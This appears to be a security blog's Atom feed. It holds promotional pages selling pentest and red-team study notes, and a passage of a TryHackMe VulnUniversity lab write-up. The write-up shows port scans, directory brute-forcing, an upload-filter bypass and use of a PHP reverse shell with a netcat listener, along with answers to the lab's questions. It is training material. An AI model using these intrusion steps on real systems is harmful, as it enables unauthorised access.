<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://zishanhack.com/blog/feed.xml" rel="self" type="application/atom+xml" /><link href="https://zishanhack.com/blog/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-05-20T23:02:50+05:30</updated><id>https://zishanhack.com/blog/feed.xml</id><title type="html">ZishanHack</title><subtitle>Offensive security research, practical methodologies, bug bounty workflows, Active Directory notes, and hands-on cybersecurity writeups.</subtitle><author><name>Zishan Ahamed Thandar</name></author><entry><title type="html">OSCP Commands – Obsidian Notes for Real Exam Execution</title><link href="https://zishanhack.com/blog/research/oscp-commands-obsidian/" rel="alternate" type="text/html" title="OSCP Commands – Obsidian Notes for Real Exam Execution" /><published>2025-12-24T00:00:00+05:30</published><updated>2025-12-24T00:00:00+05:30</updated><id>https://zishanhack.com/blog/research/oscp-commands-obsidian</id><content type="html" xml:base="https://zishanhack.com/blog/research/oscp-commands-obsidian/"><![CDATA[<div style="margin-bottom: 2rem;">
  <span style="background: var(--gradient); color: white; padding: 0.3rem 1rem; border-radius: 50px; font-size: 0.8rem; font-weight: 600;">
    <i class="fas fa-certificate"></i> OSCP · COMMAND REFERENCE
  </span>
</div>

<h2 id="oscp-commands">OSCP Commands</h2>
<h3 id="a-clean-structured-obsidian-vault-built-for-the-oscp-exam">A Clean, Structured Obsidian Vault Built for the OSCP Exam</h3>

<div style="background: rgba(99, 102, 241, 0.1); border-left: 4px solid var(--primary); padding: 1.5rem; border-radius: 0 12px 12px 0; margin: 2rem 0 3rem 0;">
  <p style="font-size: 1.2rem; margin: 0;">
    OSCP is not about knowing <em>what tool exists</em>.<br />
    It's about <strong>recalling the right command instantly</strong>, under pressure, without panic.
  </p>
</div>

<p style="color: var(--gray); margin-bottom: 3rem;">
  No scrolling. No guessing. No broken cheatsheets.
</p>

<h2 id="-whats-inside">📦 What’s Inside</h2>

<ul>
  <li><strong>Enumeration</strong> – FTP, SSH, SMB, HTTP, DNS, LDAP, RDP</li>
  <li><strong>Privilege Escalation</strong> – Linux &amp; Windows checks, decision trees</li>
  <li><strong>Web Exploitation</strong> – SQLi, file upload, LFI/RFI, bypass techniques</li>
  <li><strong>Active Directory</strong> – Domain enum, credential abuse, lateral movement</li>
  <li><strong>Post-Exploitation</strong> – Cred dumping, persistence, evidence collection</li>
</ul>

<h2 id="-why-obsidian">⚡ Why Obsidian</h2>

<div style="display: grid; grid-template-columns: repeat(2, 1fr); gap: 1.5rem; margin: 1.5rem 0;">
  <div><i class="fas fa-link" style="color: var(--primary);"></i> Internal links between techniques</div>
  <div><i class="fas fa-search" style="color: var(--primary);"></i> Instant search across commands</div>
  <div><i class="fas fa-brain" style="color: var(--primary);"></i> Knowledge graph for connections</div>
  <div><i class="fas fa-pen" style="color: var(--primary);"></i> Easy to extend with your notes</div>
</div>

<p>These are <strong>not PDFs</strong>. They’re an Obsidian vault you can search, link, and build upon.</p>

<h2 id="-what-you-get">🎁 What You Get</h2>

<ul>
  <li>OSCP Commands Obsidian Vault</li>
  <li>Categorized command notes</li>
  <li>Linked attack flows</li>
  <li>Lifetime updates · Instant access</li>
</ul>

<p>One-time payment. No subscriptions.</p>

<h2 id="-limited-time-offer">🚀 Limited-Time Offer</h2>

<div style="background: linear-gradient(135deg, rgba(245, 158, 11, 0.1), rgba(239, 68, 68, 0.1)); border: 1px solid var(--accent); border-radius: 12px; padding: 2.5rem; text-align: center; margin: 2rem 0;">
  
  <div style="margin-bottom: 1.5rem;">
    <span style="color: var(--gray); text-decoration: line-through; font-size: 1.2rem;">$997</span>
    <span style="color: var(--accent); font-size: 2.5rem; font-weight: 800;"> $97</span>
    <span style="background: var(--gradient-accent); color: white; padding: 0.2rem 1rem; border-radius: 50px; font-size: 1rem; margin-left: 1rem;">90% OFF</span>
  </div>
  
  <a href="https://zishanhack.com/#resources" class="btn btn-premium" style="display: inline-block; padding: 1rem 3rem;">
    GET INSTANT ACCESS
  </a>
  
  <p style="margin-top: 1.5rem; font-size: 0.8rem; color: var(--gray);">
    <i class="fas fa-lock"></i> Secure payment · Instant download · Lifetime updates
  </p>
</div>

<h2 id="-final-thought">💭 Final Thought</h2>

<p>OSCP tests <strong>execution under pressure</strong>.<br />
These notes let you focus on strategy, not syntax.</p>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="research" /><category term="oscp" /><category term="obsidian" /><category term="commands" /><category term="cheatsheet" /><category term="penetration-testing" /><summary type="html"><![CDATA[A clean, structured Obsidian vault with OSCP commands organized for real exam execution. Save hours during labs and exam with instant command recall.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/oscp-commands.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/oscp-commands.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">OSWP Notes – Practical Wireless Attacks, Simplified</title><link href="https://zishanhack.com/blog/research/oswp-notes/" rel="alternate" type="text/html" title="OSWP Notes – Practical Wireless Attacks, Simplified" /><published>2025-12-15T00:00:00+05:30</published><updated>2025-12-15T00:00:00+05:30</updated><id>https://zishanhack.com/blog/research/oswp-notes</id><content type="html" xml:base="https://zishanhack.com/blog/research/oswp-notes/"><![CDATA[<div style="margin-bottom: 2rem;">
  <span style="background: var(--gradient); color: white; padding: 0.3rem 1rem; border-radius: 50px; font-size: 0.8rem; font-weight: 600;">
    <i class="fas fa-wifi"></i> OSWP · WIRELESS ATTACKS
  </span>
</div>

<h2 id="oswp-notes">OSWP Notes</h2>
<h3 id="a-clear-no-bs-guide-to-wireless-pentesting-that-actually-works">A Clear, No-BS Guide to Wireless Pentesting That Actually Works</h3>

<div style="background: rgba(99, 102, 241, 0.1); border-left: 4px solid var(--primary); padding: 1.5rem; border-radius: 0 12px 12px 0; margin: 2rem 0 3rem 0;">
  <p style="font-size: 1.2rem; margin: 0;">
    OSWP is not about memorizing Wi-Fi theory.<br />
    It's about <strong>executing attacks cleanly, calmly, and correctly under pressure</strong>.
  </p>
</div>

<p style="color: var(--gray); margin-bottom: 3rem;">
  No guessing. No debugging hell. No failed handshakes.
</p>

<h2 id="-whats-inside">📦 What’s Inside</h2>

<ul>
  <li><strong>Wireless Fundamentals</strong> – Adapter modes, monitor setup, injection testing</li>
  <li><strong>WEP Attacks</strong> – Fast cracking, replay attacks, fragmentation</li>
  <li><strong>WPA/WPA2</strong> – Handshake capture, deauth logic, PMKID attacks</li>
  <li><strong>WPS Exploitation</strong> – Pixie Dust, brute force, pin generation</li>
  <li><strong>Troubleshooting</strong> – Fix failed attacks, adapter issues, signal problems</li>
</ul>

<h2 id="-why-these-notes-work">⚡ Why These Notes Work</h2>

<div style="display: grid; grid-template-columns: repeat(2, 1fr); gap: 1.5rem; margin: 1.5rem 0;">
  <div><i class="fas fa-bolt" style="color: var(--primary);"></i> Attack flows that actually work</div>
  <div><i class="fas fa-bug" style="color: var(--primary);"></i> Real troubleshooting steps</div>
  <div><i class="fas fa-sitemap" style="color: var(--primary);"></i> Decision trees for failures</div>
  <div><i class="fas fa-check-circle" style="color: var(--primary);"></i> Exam-proven workflows</div>
</div>

<p>Most resources dump commands and hope you figure it out.<br />
These notes teach you <strong>why attacks fail and how to fix them</strong>.</p>

<h2 id="-what-you-get">🎁 What You Get</h2>

<ul>
  <li>OSWP Notes (PDF + Markdown)</li>
  <li>Wireless attack decision trees</li>
  <li>Adapter setup &amp; troubleshooting</li>
  <li>Exam-ready command references</li>
  <li>Lifetime updates · Instant access</li>
</ul>

<p>One-time payment. No subscriptions. No fluff.</p>

<h2 id="-limited-time-offer">🚀 Limited-Time Offer</h2>

<div style="background: linear-gradient(135deg, rgba(245, 158, 11, 0.1), rgba(239, 68, 68, 0.1)); border: 1px solid var(--accent); border-radius: 12px; padding: 2.5rem; text-align: center; margin: 2rem 0;">
  
  <div style="margin-bottom: 1.5rem;">
    <span style="color: var(--gray); text-decoration: line-through; font-size: 1.2rem;">$497</span>
    <span style="color: var(--accent); font-size: 2.5rem; font-weight: 800;"> $47</span>
    <span style="background: var(--gradient-accent); color: white; padding: 0.2rem 1rem; border-radius: 50px; font-size: 1rem; margin-left: 1rem;">90% OFF</span>
  </div>
  
  <a href="https://zishanhack.com/#resources" class="btn btn-premium" style="display: inline-block; padding: 1rem 3rem;">
    GET INSTANT ACCESS
  </a>
  
  <p style="margin-top: 1.5rem; font-size: 0.8rem; color: var(--gray);">
    <i class="fas fa-lock"></i> Secure payment · Instant download · Lifetime updates
  </p>
</div>

<h2 id="-final-thought">💭 Final Thought</h2>

<p>Wireless attacks fail when you panic and guess.<br />
They succeed when you <strong>follow a calm, tested process</strong>.</p>

<p>These notes give you <strong>confidence, clarity, and execution</strong> — exactly what OSWP demands.</p>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="research" /><category term="oswp" /><category term="wireless" /><category term="wifi" /><category term="pentesting" /><category term="commands" /><category term="cheatsheet" /><summary type="html"><![CDATA[A clean, structured guide to wireless penetration testing. OSWP exam-ready commands and workflows for reliable attack execution.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/oswp-notes.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/oswp-notes.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Web Security Checklist – Real Bug Hunting, Systematically</title><link href="https://zishanhack.com/blog/research/web-security-checklist/" rel="alternate" type="text/html" title="Web Security Checklist – Real Bug Hunting, Systematically" /><published>2025-11-12T00:00:00+05:30</published><updated>2025-11-12T00:00:00+05:30</updated><id>https://zishanhack.com/blog/research/web-security-checklist</id><content type="html" xml:base="https://zishanhack.com/blog/research/web-security-checklist/"><![CDATA[<div style="margin-bottom: 2rem;">
  <span style="background: var(--gradient); color: white; padding: 0.3rem 1rem; border-radius: 50px; font-size: 0.8rem; font-weight: 600;">
    <i class="fas fa-check-double"></i> BUG BOUNTY · WEB SECURITY
  </span>
</div>

<h2 id="web-security-checklist">Web Security Checklist</h2>
<h3 id="a-systematic-method-to-find-real-bugs--not-random-guessing">A Systematic Method to Find Real Bugs — Not Random Guessing</h3>

<div style="background: rgba(99, 102, 241, 0.1); border-left: 4px solid var(--primary); padding: 1.5rem; border-radius: 0 12px 12px 0; margin: 2rem 0 3rem 0;">
  <p style="font-size: 1.2rem; margin: 0;">
    Most bug hunters don't fail because they lack skill.<br />
    They fail because they <strong>miss things</strong>. This checklist ensures that <strong>does not happen</strong>.
  </p>
</div>

<p style="color: var(--gray); margin-bottom: 3rem;">
  Built from real reports, real triage feedback, and real mistakes that cost money.
</p>

<h2 id="-whats-inside">📦 What’s Inside</h2>

<ul>
  <li><strong>Recon &amp; Mapping</strong> – Endpoint discovery, parameter identification, app logic analysis</li>
  <li><strong>Authentication &amp; Authorization</strong> – IDOR patterns, role confusion, session handling</li>
  <li><strong>Input Handling</strong> – SQLi, NoSQLi, SSTI, XSS, file upload bypasses</li>
  <li><strong>Business Logic</strong> – State manipulation, workflow bypasses, price/limit abuse</li>
  <li><strong>API Testing</strong> – BOLA, mass assignment, rate limiting issues</li>
  <li><strong>High-Impact Bugs</strong> – Chained vulnerabilities, WAF bypasses, misconfigurations</li>
</ul>

<h2 id="-why-this-checklist-works">⚡ Why This Checklist Works</h2>

<div style="display: grid; grid-template-columns: repeat(2, 1fr); gap: 1.5rem; margin: 1.5rem 0;">
  <div><i class="fas fa-clipboard-list" style="color: var(--primary);"></i> Structured, repeatable process</div>
  <div><i class="fas fa-bullseye" style="color: var(--primary);"></i> Focus on valid, triage-friendly bugs</div>
  <div><i class="fas fa-brain" style="color: var(--primary);"></i> Think like a reviewer, not just an attacker</div>
  <div><i class="fas fa-chart-line" style="color: var(--primary);"></i> Scale your hunting without burnout</div>
</div>

<p>This is <strong>not a list of vulnerability names</strong>.<br />
Each item tells you <strong>what to test, why it matters, and what success looks like</strong>.</p>

<h2 id="-what-you-get">🎁 What You Get</h2>

<ul>
  <li>Web Security Checklist (PDF + Markdown)</li>
  <li>Logic-driven testing methodology</li>
  <li>Real-world bug patterns that actually pay</li>
  <li>Program start-up checklist</li>
  <li>Pre-submission safety net</li>
  <li>Lifetime updates · Instant access</li>
</ul>

<p>One-time payment. No subscriptions. No fluff.</p>

<h2 id="-limited-time-offer">🚀 Limited-Time Offer</h2>

<div style="background: linear-gradient(135deg, rgba(245, 158, 11, 0.1), rgba(239, 68, 68, 0.1)); border: 1px solid var(--accent); border-radius: 12px; padding: 2.5rem; text-align: center; margin: 2rem 0;">
  
  <div style="margin-bottom: 1.5rem;">
    <span style="color: var(--gray); text-decoration: line-through; font-size: 1.2rem;">$297</span>
    <span style="color: var(--accent); font-size: 2.5rem; font-weight: 800;"> $27</span>
    <span style="background: var(--gradient-accent); color: white; padding: 0.2rem 1rem; border-radius: 50px; font-size: 1rem; margin-left: 1rem;">90% OFF</span>
  </div>
  
  <a href="https://zishanhack.com/#resources" class="btn btn-premium" style="display: inline-block; padding: 1rem 3rem;">
    GET INSTANT ACCESS
  </a>
  
  <p style="margin-top: 1.5rem; font-size: 0.8rem; color: var(--gray);">
    <i class="fas fa-lock"></i> Secure payment · Instant download · Lifetime updates
  </p>
</div>

<h2 id="-final-thought">💭 Final Thought</h2>

<p>Bug bounty success is rarely about one genius idea.<br />
It’s about <strong>not missing obvious and non-obvious issues</strong>.</p>

<p>This checklist makes your testing <strong>deliberate, repeatable, and profitable</strong> — one program at a time.</p>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="research" /><category term="bug-bounty" /><category term="web-security" /><category term="checklist" /><category term="penetration-testing" /><category term="hacking" /><category term="methodology" /><summary type="html"><![CDATA[A systematic web security checklist for bug bounty hunters. Find more valid bugs with structured testing — not random guessing.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/web-security-checklist.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/web-security-checklist.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">CRTA Notes – Real-World Active Directory Red Team Playbook</title><link href="https://zishanhack.com/blog/research/crta-notes/" rel="alternate" type="text/html" title="CRTA Notes – Real-World Active Directory Red Team Playbook" /><published>2025-03-12T00:00:00+05:30</published><updated>2025-03-12T00:00:00+05:30</updated><id>https://zishanhack.com/blog/research/crta-notes</id><content type="html" xml:base="https://zishanhack.com/blog/research/crta-notes/"><![CDATA[<div style="margin-bottom: 2rem;">
  <span style="background: var(--gradient); color: white; padding: 0.3rem 1rem; border-radius: 50px; font-size: 0.8rem; font-weight: 600;">
    <i class="fas fa-skull"></i> CRTA · ACTIVE DIRECTORY ATTACKS
  </span>
</div>

<h2 id="crta-notes">CRTA Notes</h2>
<h3 id="real-world-active-directory-red-team-playbook">Real-World Active Directory Red Team Playbook</h3>

<div style="background: rgba(99, 102, 241, 0.1); border-left: 4px solid var(--primary); padding: 1.5rem; border-radius: 0 12px 12px 0; margin: 2rem 0 3rem 0;">
  <p style="font-size: 1.2rem; margin: 0;">
    CRTA is not about memorizing AD tools.<br />
    It's about <strong>thinking like an attacker inside Active Directory</strong> — from initial foothold to domain dominance.
  </p>
</div>

<p style="color: var(--gray); margin-bottom: 3rem;">
  No theory. No guesswork. Just attack flows that work in real enterprises.
</p>

<h2 id="-whats-inside">📦 What’s Inside</h2>

<ul>
  <li><strong>Initial Enumeration</strong> – LDAP, SMB, Kerberos recon without detection</li>
  <li><strong>Credential Abuse</strong> – NTLM, Kerberos, Pass-the-Hash, Pass-the-Ticket</li>
  <li><strong>Privilege Escalation</strong> – ACL abuse, delegation, GPO attacks, Kerberoasting</li>
  <li><strong>Lateral Movement</strong> – Living-off-the-land, remote execution, PSRemoting</li>
  <li><strong>Persistence</strong> – Shadow credentials, Golden/Silver tickets, backdoors</li>
  <li><strong>OPSEC</strong> – Staying undetected, evasion techniques, real-world tradecraft</li>
</ul>

<h2 id="-why-these-notes-work">⚡ Why These Notes Work</h2>

<div style="display: grid; grid-template-columns: repeat(2, 1fr); gap: 1.5rem; margin: 1.5rem 0;">
  <div><i class="fas fa-sitemap" style="color: var(--primary);"></i> Attack path decision trees</div>
  <div><i class="fas fa-bolt" style="color: var(--primary);"></i> Command-ready workflows</div>
  <div><i class="fas fa-eye-slash" style="color: var(--primary);"></i> Real OPSEC considerations</div>
  <div><i class="fas fa-building" style="color: var(--primary);"></i> Enterprise-tested techniques</div>
</div>

<p>Most AD resources work in perfect lab conditions.<br />
These notes teach you <strong>what actually works when defenders are watching</strong>.</p>

<h2 id="-what-you-get">🎁 What You Get</h2>

<ul>
  <li>CRTA Notes (PDF + Markdown)</li>
  <li>Complete AD attack playbook</li>
  <li>Privilege escalation decision trees</li>
  <li>Lateral movement command reference</li>
  <li>Persistence techniques defenders miss</li>
  <li>Lifetime updates · Instant access</li>
</ul>

<p>One-time payment. No subscriptions. No fluff.</p>

<h2 id="-limited-time-offer">🚀 Limited-Time Offer</h2>

<div style="background: linear-gradient(135deg, rgba(245, 158, 11, 0.1), rgba(239, 68, 68, 0.1)); border: 1px solid var(--accent); border-radius: 12px; padding: 2.5rem; text-align: center; margin: 2rem 0;">
  
  <div style="margin-bottom: 1.5rem;">
    <span style="color: var(--gray); text-decoration: line-through; font-size: 1.2rem;">$697</span>
    <span style="color: var(--accent); font-size: 2.5rem; font-weight: 800;"> $67</span>
    <span style="background: var(--gradient-accent); color: white; padding: 0.2rem 1rem; border-radius: 50px; font-size: 1rem; margin-left: 1rem;">90% OFF</span>
  </div>
  
  <a href="https://zishanhack.com/#resources" class="btn btn-premium" style="display: inline-block; padding: 1rem 3rem;">
    GET INSTANT ACCESS
  </a>
  
  <p style="margin-top: 1.5rem; font-size: 0.8rem; color: var(--gray);">
    <i class="fas fa-lock"></i> Secure payment · Instant download · Lifetime updates
  </p>
</div>

<h2 id="-final-thought">💭 Final Thought</h2>

<p>Active Directory feels random when you’re guessing attack paths.<br />
It becomes predictable when you <strong>follow a structured playbook</strong>.</p>

<p>These notes give you the <strong>clarity, structure, and real-world relevance</strong> to dominate any AD environment — from CRTA to real red team engagements.</p>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="research" /><category term="crta" /><category term="active-directory" /><category term="red-team" /><category term="ad-attacks" /><category term="pentesting" /><category term="privilege-escalation" /><summary type="html"><![CDATA[A complete Active Directory red team playbook for CRTA certification. Real-world attacks, privilege escalation, and domain dominance strategies.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/crta-notes.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/crta-notes.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The Impossible Challenge - TryHackMe room Writeup</title><link href="https://zishanhack.com/blog/thm/theimpossiblechallenge/" rel="alternate" type="text/html" title="The Impossible Challenge - TryHackMe room Writeup" /><published>2024-12-01T00:00:00+05:30</published><updated>2024-12-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/theimpossiblechallenge</id><content type="html" xml:base="https://zishanhack.com/blog/thm/theimpossiblechallenge/"><![CDATA[<h1 id="the-impossible-challenge">The Impossible Challenge</h1>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#task-1">Task</a></li>
</ul>

<p>Room Link: <a href="https://thm.com/room/theimpossiblechallenge">https://thm.com/room/theimpossiblechallenge</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li>Cryptography Decoder https://gchq.github.io</li>
  <li>Zero Width Decoder https://330k.github.io/misc_tools/unicode_steganography.html</li>
</ul>

<h2 id="task-1">Task 1</h2>

<ul>
  <li>Got a zip file need to get password to unzip it.</li>
  <li>After decoding hash on the main page, ROT13, ROT47, hex and base64 decoding lead to decoded text “It’s inside the text, in front of your eyes!”.</li>
  <li>So, as in decoded text if we look inside text (source code) of the page, we can find unusual encoding around “Hmm”.</li>
  <li>There is zero width text, decoded with https://330k.github.io/misc_tools/unicode_steganography.html and got the password, “Password is <strong>**</strong>*”.</li>
  <li>Used the password and unzipped the zip file to get the flag.</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><summary type="html"><![CDATA[The Impossible Challenge]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Tutorial - TryHackMe room Writeup</title><link href="https://zishanhack.com/blog/thm/tutorial/" rel="alternate" type="text/html" title="Tutorial - TryHackMe room Writeup" /><published>2024-12-01T00:00:00+05:30</published><updated>2024-12-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/tutorial</id><content type="html" xml:base="https://zishanhack.com/blog/thm/tutorial/"><![CDATA[<h1 id="tutorial">Tutorial</h1>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#task-1">Task</a></li>
</ul>

<p>Room Link: <a href="https://thm.com/room/tutorial">https://thm.com/room/tutorial</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li>OpenVPN</li>
</ul>

<h2 id="task-1">Task 1</h2>

<ul>
  <li>Click on start machine.</li>
  <li>Download vpn file from access page.</li>
  <li>Use <code class="language-plaintext highlighter-rouge">openvpn</code> to connect.</li>
  <li>Then open the ip provided in browser.</li>
  <li>There is a flag clearly visible on the homepage.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">A flag is just a piece of text that's used to verify you've performed a certain action. In security challenges, users are asked to find flags to prove that they've successfully hacked a machine</code> Answer <code class="language-plaintext highlighter-rouge">flag{connection_verified}</code></li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><summary type="html"><![CDATA[Tutorial]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">VulnUniversity THM - A detailed Writeup</title><link href="https://zishanhack.com/blog/thm/vulnversity/" rel="alternate" type="text/html" title="VulnUniversity THM - A detailed Writeup" /><published>2024-12-01T00:00:00+05:30</published><updated>2024-12-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/vulnversity</id><content type="html" xml:base="https://zishanhack.com/blog/thm/vulnversity/"><![CDATA[<h1 id="vulnuniversity">VulnUniversity</h1>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#deploy-the-machine">Deploy the machine</a></li>
  <li><a href="#reconnaissance">Reconnaissance</a></li>
  <li><a href="#locating-directories-using-gobuster">Locating directories using Gobuster</a></li>
  <li><a href="#privilege-escalation">Privilege Escalation</a></li>
</ul>

<p>Room Link: <a href="https://thm.com/room/vulnversity">https://thm.com/room/vulnversity</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li><a href="https://nmap.org/download">NMap</a></li>
  <li><a href="https://github.com/OJ/gobuster">Gobuster</a></li>
  <li><a href="https://portswigger.net/burp">Burp Intruder</a></li>
  <li><a href="https://addons.mozilla.org/en-US/firefox/addon/burp-proxy-toggler-lite/">Burp Proxy Toggle Extension</a></li>
</ul>

<h2 id="deploy-the-machine">Deploy the machine</h2>

<ul>
  <li>Deploy The Machine by clicking Start The Machine</li>
  <li>Download ovpn file and connect to the network using command <code class="language-plaintext highlighter-rouge">sudo openvpn --config username.ovpn</code>.</li>
</ul>

<h2 id="reconnaissance">Reconnaissance</h2>

<ul>
  <li>Scan ports of the machine with given command <code class="language-plaintext highlighter-rouge">nmap -sV 10.10.65.81</code>
Output of the command:</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Starting Nmap 7.80 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2024-02-26 09:55 IST
Nmap scan report <span class="k">for </span>10.10.135.130
Host is up <span class="o">(</span>0.20s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 994 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X <span class="o">(</span>workgroup: WORKGROUP<span class="o">)</span>
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X <span class="o">(</span>workgroup: WORKGROUP<span class="o">)</span>
3128/tcp open  http-proxy  Squid http proxy 3.5.12
3333/tcp open  http        Apache httpd 2.4.18 <span class="o">((</span>Ubuntu<span class="o">))</span>
Service Info: Host: VULNUNIVERSITY<span class="p">;</span> OSs: Unix, Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="nb">.</span>
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>36.77 seconds
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">how many ports are open?</code> Answer <code class="language-plaintext highlighter-rouge">6</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What version of the squid proxy is running on the machine?</code> Answer <code class="language-plaintext highlighter-rouge">3.5.12</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How many ports will Nmap scan if the flag -p-400 was used?</code> Answer <code class="language-plaintext highlighter-rouge">400</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the most likely operating system this machine is running?</code> Answer <code class="language-plaintext highlighter-rouge">Ubuntu</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What port is the web server running on?</code> Answer <code class="language-plaintext highlighter-rouge">3333</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the flag for enabling verbose mode using Nmap?</code> Answer <code class="language-plaintext highlighter-rouge">-v</code></li>
</ul>

<h2 id="locating-directories-using-gobuster">Locating directories using Gobuster</h2>

<ul>
  <li>Port 3333 is http server, So web interface looks like that http://10.10.65.81:3333</li>
  <li>We can run directory busting tool gobuster as per given command with our own wordlist <code class="language-plaintext highlighter-rouge">gobuster dir -u http://10.10.65.81:3333 -w /usr/share/wordlist/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt</code>
Output of the command:</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">===============================================================</span>
Gobuster v3.6
by OJ Reeves <span class="o">(</span>@TheColonial<span class="o">)</span> &amp; Christian Mehlmauer <span class="o">(</span>@firefart<span class="o">)</span>
<span class="o">===============================================================</span>
<span class="o">[</span>+] Url:                     http://10.10.65.81:3333
<span class="o">[</span>+] Method:                  GET
<span class="o">[</span>+] Threads:                 10
<span class="o">[</span>+] Wordlist:                /opt/wordlist/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
<span class="o">[</span>+] Negative Status codes:   404
<span class="o">[</span>+] User Agent:              gobuster/3.6
<span class="o">[</span>+] Timeout:                 10s
<span class="o">===============================================================</span>
Starting gobuster <span class="k">in </span>directory enumeration mode
<span class="o">===============================================================</span>
/images               <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 318] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://10.10.65.81:3333/images/]
/css                  <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 315] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://10.10.65.81:3333/css/]
/js                   <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 314] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://10.10.65.81:3333/js/]
/fonts                <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 317] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://10.10.65.81:3333/fonts/]
/internal             <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 320] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://10.10.65.81:3333/internal/]
Progress: 9932 / 1273834 <span class="o">(</span>0.78%<span class="o">)</span>
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the directory that has an upload form page?</code> Answer <code class="language-plaintext highlighter-rouge">/internal/</code></li>
</ul>

<h2 id="compromise-the-webserver">Compromise the Webserver</h2>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What common file type you'd want to upload to exploit the server is blocked? Try a couple to find out.</code> Answer <code class="language-plaintext highlighter-rouge">.php</code></li>
  <li>Run burpsuite as per instruction and user intruder. Use firefox extension, https://addons.mozilla.org/en-US/firefox/addon/burp-proxy-toggler-lite/</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Run this attack, what extension is allowed?</code> Answer <code class="language-plaintext highlighter-rouge">.phtml</code></li>
  <li>Now we need to make our shell with given instruction using https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php. Just replace ip to our netcat listening ip (tun0) and file extension to <code class="language-plaintext highlighter-rouge">.phtml</code>. Use <code class="language-plaintext highlighter-rouge">nc -lvnp 1234</code> to get shell.</li>
  <li>Now just upload the file and open http://10.10.65.81:3333/internal/uploads/ and click on the shell to get reverse shell.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the name of the user who manages the webserver?</code> Answer <code class="language-plaintext highlighter-rouge">bill</code>. Use <code class="language-plaintext highlighter-rouge">ls /home</code> command to get username.</li>
